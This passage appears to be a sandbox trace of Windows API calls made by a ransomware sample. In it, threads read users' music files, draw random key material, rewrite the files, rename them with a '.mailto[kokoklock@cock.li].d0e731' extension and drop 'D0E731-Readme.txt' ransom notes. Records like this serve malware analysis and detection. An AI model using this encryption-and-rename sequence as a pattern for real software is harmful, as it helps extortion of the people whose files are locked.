(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.793] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x236bfbe8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x236bfbe8*=0x4096, lpOverlapped=0x0) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.794] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfaa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x236bfc20, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x236bfc20*=0x20, lpOverlapped=0x0) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x3492190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x3492190*, lpNumberOfBytesWritten=0x236bfc34*=0x8, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x236bfc4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x236bfc4c*, lpNumberOfBytesWritten=0x236bfc34*=0x4, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x236bfc34*=0x4, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x236bfc34*=0x6c, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x236bfc34*=0x20, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x236bfc34, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x236bfc34*=0x4, lpOverlapped=0x0) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492168) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.794] CloseHandle (hObject=0x43c) returned 1 [0079.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431bf0 [0079.795] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a" [0079.795] wcscat (in: _Dest=0x3431bf0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" [0079.795] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.795] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.796] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0079.796] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a", dwFileAttributes=0x20) returned 0 [0079.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c130 [0079.796] wcscpy (in: _Dest=0x348c130, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0079.796] wcscat (in: _Dest=0x348c130, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0079.796] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0xffffffff [0079.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.796] WriteFile (in: hFile=0x43c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x236bfc30, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x236bfc30*=0x481, lpOverlapped=0x0) returned 1 [0079.797] CloseHandle (hObject=0x43c) returned 1 [0079.797] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c130) returned 1 [0079.797] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f458) returned 1 [0079.797] RtlExitUserThread (Status=0x1) Thread: id = 980 os_tid = 0x1654 [0079.799] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a")) returned 0x20 [0079.799] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a", dwFileAttributes=0x20) returned 1 [0079.799] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.799] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2373fd40 | out: lpFileSize=0x2373fd40*=8387) returned 1 [0079.799] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x20bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.799] ReadFile (in: hFile=0x43c, lpBuffer=0x2373fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x2373fd14*, lpNumberOfBytesRead=0x2373fd10*=0x4, lpOverlapped=0x0) returned 1 [0079.800] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492168 [0079.800] NtQuerySystemTime (in: CurrentTime=0x2373fcec | out: CurrentTime=0x2373fcec*=132121176376886223) returned 0x0 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xc15669cc [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x8aa039e4 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xc02189a9 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xfc96dbdb [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x2e514187 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xcb5e2580 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x2fa94390 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x30e6236e [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x67efc170 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x37582fe9 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xb5311a0f [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x5296c1f8 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xb1c49858 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xac72435b [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xd3a22546 [0079.800] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xea00478e [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xf9023610 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x5812cfa [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x697fbbdf [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x51ecc147 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x226702b3 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x226a400c [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xb0d70918 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x9c7db5e3 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x20d6187c [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x51fc97f2 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x52a2056a [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xccc92cf [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0x6142e97e [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xbe3134da [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xcb078131 [0079.801] RtlRandom (in: Seed=0x2373fcf8 | out: Seed=0x2373fcf8) returned 0xc9bc6a84 [0079.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.812] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x20c3, lpNumberOfBytesRead=0x2373fcec, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2373fcec*=0x20c3, lpOverlapped=0x0) returned 1 [0079.812] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2373fcb4 | out: lpNewFilePointer=0x0) returned 1 [0079.812] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x20c3, lpNumberOfBytesWritten=0x2373fce8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2373fce8*=0x20c3, lpOverlapped=0x0) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2373fce4, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x2373fce4*=0x20, lpOverlapped=0x0) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x34921b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x34921b8*, lpNumberOfBytesWritten=0x2373fd10*=0x8, lpOverlapped=0x0) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x2373fd28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x2373fd28*, lpNumberOfBytesWritten=0x2373fd10*=0x4, lpOverlapped=0x0) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2373fd10*=0x4, lpOverlapped=0x0) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2373fd10*=0x6c, lpOverlapped=0x0) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x2373fd10*=0x20, lpOverlapped=0x0) returned 1 [0079.813] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2373fd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2373fd10*=0x4, lpOverlapped=0x0) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34921b8) returned 1 [0079.814] CloseHandle (hObject=0x43c) returned 1 [0079.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x3433690 [0079.814] wcscpy (in: _Dest=0x3433690, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a" [0079.814] wcscat (in: _Dest=0x3433690, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" [0079.814] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\kt2jmdhbpqgjzu_piwy.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.815] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.815] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433690) returned 1 [0079.815] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a", dwFileAttributes=0x20) returned 0 [0079.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c130 [0079.815] wcscpy (in: _Dest=0x348c130, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0079.815] wcscat (in: _Dest=0x348c130, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0079.815] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0079.815] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c130) returned 1 [0079.815] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb630) returned 1 [0079.815] RtlExitUserThread (Status=0x1) Thread: id = 981 os_tid = 0x1658 [0079.816] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav")) returned 0x20 [0079.816] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav", dwFileAttributes=0x20) returned 1 [0079.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.817] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x237bfc10 | out: lpFileSize=0x237bfc10*=86677) returned 1 [0079.817] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x15291, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.817] ReadFile (in: hFile=0x43c, lpBuffer=0x237bfbe4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x237bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x237bfbe4*, lpNumberOfBytesRead=0x237bfbe0*=0x4, lpOverlapped=0x0) returned 1 [0079.818] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492190 [0079.818] NtQuerySystemTime (in: CurrentTime=0x237bfbbc | out: CurrentTime=0x237bfbbc*=132121176377042529) returned 0x0 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x5266344e [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xd626564f [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x69844567 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x6362e849 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x64a4bdfe [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x9e0e7536 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xe755369f [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x6af54236 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xe4a9b6f [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x698b6e7 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x1b3eb464 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x7e310f56 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xd3f65e2 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xec274eae [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xd4c01640 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xf84fb3ec [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xedbd7d2a [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x1bd27f90 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x7c711378 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xcbe45900 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x359fdbdd [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x6c4d4ffd [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x7be0274 [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x5adb25ac [0079.818] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x2489079b [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x6d18c1bd [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x3c714f31 [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xd90dc38c [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x641e44cf [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x8b4384a4 [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0xac8177c8 [0079.819] RtlRandom (in: Seed=0x237bfbc8 | out: Seed=0x237bfbc8) returned 0x4fc0f06e [0079.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.830] 